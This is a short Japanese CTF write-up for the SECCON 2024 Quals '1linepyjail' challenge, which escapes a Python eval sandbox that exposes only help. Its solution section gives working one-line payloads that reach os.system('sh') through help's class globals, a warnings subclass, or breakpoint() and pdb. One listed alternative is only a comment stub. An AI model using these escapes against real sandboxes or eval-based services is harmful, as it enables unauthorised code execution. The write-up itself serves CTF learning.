pyjail wiki

SECCON 2024 Quals - 1linepyjail

Nov 24, 2024

Challenge

print(eval(input()[:100], {"__builtins__": {"help": help}}))

100文字以内で、help のみが使える builtins から脱出する。

Solution

help() から pdb へ

help() を対話モードで起動し、特定のオブジェクトのヘルプを表示させることで pdb を起動できる。

help()

対話モードに入った後:

help> pdb

これにより pdb のドキュメントが表示され、一部の環境では pager (less など) が起動する。pager から !command でシェルコマンドを実行可能。

_Helper クラスの利用

help_Helper クラスのインスタンス。このクラスから builtins にアクセス可能。

help.__class__.__repr__.__globals__['sys'].modules['os'].system('sh')

100文字制限への対応

ペイロードを短縮:

help.__class__.__call__.__globals__['sys'].modules['os'].system('sh')

または:

[x for x in help.__class__.__mro__[-1].__subclasses__() if 'war' in str(x)][0]()._module.__builtins__['__import__']('os').system('sh')

Alternative Solutions

別解1: license() 経由

help の内部で license() 相当の機能にアクセス:

# license() の pager を利用してシェルを取得

別解2: breakpointhook

help.__class__.__init__.__globals__['__builtins__']['breakpoint']()
# pdb が起動
# (Pdb) import os; os.system('sh')

Flag

SECCON{...}

References

  • SECCON 2024 Quals Official